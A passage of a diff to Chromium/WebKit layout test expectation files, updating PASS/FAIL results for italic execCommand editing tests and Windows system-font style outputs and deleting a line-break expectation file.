+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<span style=\"font-style:oblique\">b</span>a<span style=\"font-style:oblique\">r</span>baz" but got "foo<span style=\"font-style:oblique\">b</span><span style=\"font-style:italic\">a</span><span style=\"font-style:oblique\">r</span>baz"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") before 
@@ -1555,15 +1555,15 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML 
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<span style=\"font-style:oblique\">b</span>a<span style=\"font-style:oblique\">r</span>baz" but got "foo<span style=\"font-style:oblique\">b</span><i>a</i><span style=\"font-style:oblique\">r</span>baz"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") before 
@@ -1571,11 +1571,11 @@
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>" checks for modifications to non-editable content 
@@ -1951,7 +1951,7 @@
 PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") before 
+FAIL [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected true but got false
 PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandState("italic") before 
 FAIL [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") after 
@@ -1967,7 +1967,7 @@
 PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") before 
+FAIL [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected true but got false
 PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandState("italic") before 
 FAIL [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "fo[o<span style=font-style:oblique>b]ar</span>baz" queryCommandIndeterm("italic") after 
@@ -1976,67 +1976,67 @@
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:italic\">fo</span>ob<span style=\"font-style:oblique\">ar</span>" but got "<span style=\"font-style:italic\">fo</span><span style=\"font-style:italic\">ob</span><span style=\"font-style:oblique\">ar</span>"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" checks for modifications to non-editable content 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<i>fo</i>ob<span style=\"font-style:oblique\">ar</span>" but got "<span style=\"font-style:italic\">fo</span>ob<span style=\"font-style:oblique\">ar</span>"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<i>fo</i>ob<span style=\"font-style:oblique\">ar</span>" but got "<span style=\"font-style:italic\">fo</span><i>ob</i><span style=\"font-style:oblique\">ar</span>"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:italic>fo[o</span><span style=font-style:oblique>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<span style=\"font-style:italic\">ar</span>" but got "<span style=\"font-style:oblique\">fo</span><span style=\"font-style:italic\">ob</span><span style=\"font-style:italic\">ar</span>"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" checks for modifications to non-editable content 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<i>ar</i>" but got "<span style=\"font-style:oblique\">fo</span>ob<span style=\"font-style:italic\">ar</span>"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<i>ar</i>" but got "<span style=\"font-style:oblique\">fo</span><i>ob</i><span style=\"font-style:italic\">ar</span>"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") after 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>" checks for modifications to non-editable content 
diff --git a/third_party/WebKit/LayoutTests/platform/win/fast/css/css2-system-fonts-expected.txt b/third_party/WebKit/LayoutTests/platform/win/fast/css/css2-system-fonts-expected.txt
index 9777159d..ddadcdb 100644
--- a/third_party/WebKit/LayoutTests/platform/win/fast/css/css2-system-fonts-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/fast/css/css2-system-fonts-expected.txt
@@ -1,7 +1,7 @@
 This tests platform specific system font styles. If any of the styles appear in monospace the test fails.
-caption: normal normal 400 normal 16px / normal Arial
-icon: normal normal 400 normal 16px / normal Arial
-menu: normal normal 400 normal 12px / normal "Segoe UI"
-message-box: normal normal 400 normal 16px / normal Arial
-small-caption: normal normal 400 normal 12px / normal "Segoe UI"
-status-bar: normal normal 400 normal 12px / normal "Segoe UI"
+caption: normal normal normal normal 16px / normal Arial
+icon: normal normal normal normal 16px / normal Arial
+menu: normal normal normal normal 12px / normal "Segoe UI"
+message-box: normal normal normal normal 16px / normal Arial
+small-caption: normal normal normal normal 12px / normal "Segoe UI"
+status-bar: normal normal normal normal 12px / normal "Segoe UI"
diff --git a/third_party/WebKit/LayoutTests/platform/win/fast/text/line-break-after-question-mark-expected.txt b/third_party/WebKit/LayoutTests/platform/win/fast/text/line-break-after-question-mark-expected.txt
deleted file mode 100644
index 4ec5241..0000000
--- a/third_party/WebKit/LayoutTests/platform/win/fast/text/line-break-after-question-mark-expected.txt
+++ /dev/null
@@ -1,104 +0,0 @@
-Tests when line breaking is allowed after a question mark character.
-
-On success, you will see a series of "PASS" messages, followed by "TEST COMPLETE".
-
-
-PASS allowsBreakBefore(33) is false
-PASS allowsBreakBefore(34) is false
-PASS allowsBreakBefore(35) is true
-PASS allowsBreakBefore(36) is true
-PASS allowsBreakBefore(37) is true
-PASS allowsBreakBefore(38) is true
-FAIL allowsBreakBefore(39) should be false. Was true.
-PASS allowsBreakBefore(40) is true
-PASS allowsBreakBefore(41) is false
-PASS allowsBreakBefore(42) is true
-PASS allowsBreakBefore(43) is true
-PASS allowsBreakBefore(44) is false
-PASS allowsBreakBefore(45) is true
-PASS allowsBreakBefore(46) is false
-PASS allowsBreakBefore(47) is false
-PASS allowsBreakBefore(48) is true
-PASS allowsBreakBefore(49) is true
-PASS allowsBreakBefore(50) is true
-PASS allowsBreakBefore(51) is true
-PASS allowsBreakBefore(52) is true
-PASS allowsBreakBefore(53) is true
-PASS allowsBreakBefore(54) is true
-PASS allowsBreakBefore(55) is true
-PASS allowsBreakBefore(56) is true
-PASS allowsBreakBefore(57) is true
-PASS allowsBreakBefore(58) is false
-PASS allowsBreakBefore(59) is false
-PASS allowsBreakBefore(60) is true
-PASS allowsBreakBefore(61) is true
-PASS allowsBreakBefore(62) is true
-PASS allowsBreakBefore(63) is false
-PASS allowsBreakBefore(64) is true
-PASS allowsBreakBefore(65) is true
-PASS allowsBreakBefore(66) is true
-PASS allowsBreakBefore(67) is true
-PASS allowsBreakBefore(68) is true
-PASS allowsBreakBefore(69) is true
-PASS allowsBreakBefore(70) is true
-PASS allowsBreakBefore(71) is true
-PASS allowsBreakBefore(72) is true
-PASS allowsBreakBefore(73) is true
-PASS allowsBreakBefore(74) is true
-PASS allowsBreakBefore(75) is true
-PASS allowsBreakBefore(76) is true
-PASS allowsBreakBefore(77) is true
-PASS allowsBreakBefore(78) is true
-PASS allowsBreakBefore(79) is true
-PASS allowsBreakBefore(80) is true
-PASS allowsBreakBefore(81) is true
-PASS allowsBreakBefore(82) is true
-PASS allowsBreakBefore(83) is true
-PASS allowsBreakBefore(84) is true
-PASS allowsBreakBefore(85) is true
-PASS allowsBreakBefore(86) is true
-PASS allowsBreakBefore(87) is true
-PASS allowsBreakBefore(88) is true
-PASS allowsBreakBefore(89) is true
-PASS allowsBreakBefore(90) is true
-PASS allowsBreakBefore(91) is true
-PASS allowsBreakBefore(92) is true
-PASS allowsBreakBefore(93) is false
-PASS allowsBreakBefore(94) is true
-PASS allowsBreakBefore(95) is true
-PASS allowsBreakBefore(96) is true
-PASS allowsBreakBefore(97) is true
-PASS allowsBreakBefore(98) is true
-PASS allowsBreakBefore(99) is true
-PASS allowsBreakBefore(100) is true
-PASS allowsBreakBefore(101) is true
-PASS allowsBreakBefore(102) is true
-PASS allowsBreakBefore(103) is true
-PASS allowsBreakBefore(104) is true
-PASS allowsBreakBefore(105) is true
-PASS allowsBreakBefore(106) is true
-PASS allowsBreakBefore(107) is true
-PASS allowsBreakBefore(108) is true
-PASS allowsBreakBefore(109) is true
-PASS allowsBreakBefore(110) is true
-PASS allowsBreakBefore(111) is true
-PASS allowsBreakBefore(112) is true
-PASS allowsBreakBefore(113) is true
-PASS allowsBreakBefore(114) is true
-PASS allowsBreakBefore(115) is true
-PASS allowsBreakBefore(116) is true
-PASS allowsBreakBefore(117) is true
